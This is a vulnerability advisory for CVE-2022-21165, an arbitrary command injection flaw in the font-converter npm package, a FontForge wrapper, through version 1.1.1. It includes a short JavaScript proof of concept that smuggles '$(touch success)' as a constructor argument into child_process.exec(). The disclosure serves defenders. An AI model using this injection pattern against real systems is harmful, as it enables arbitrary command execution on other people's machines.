All reports
Critical

Font-Converter Vulnerable to Arbitrary Command Injection

Affected versions

Affected versions
<= 1.1.1
Fixed version
Not reported

Exploitation

CVE-2022-21165

Probability of exploitation in the next 30 days: 3.16%

FIRST EPSS · 2026-11-22

Description

Overview

font-converter is a FontForge wrapper that allows conversion between different font formats (TTF, WOFF, OTF)

All versions of this package are vulnerable to Arbitrary Command Injection due to missing sanitization of input that potentially flows into the child_process.exec() function.

PoC
var PUT = require('font-converter');
var x = "$(touch success);# ";
try {
    new PUT(x, x, x, x);
} catch (e) {
    console.log(e);
}

Links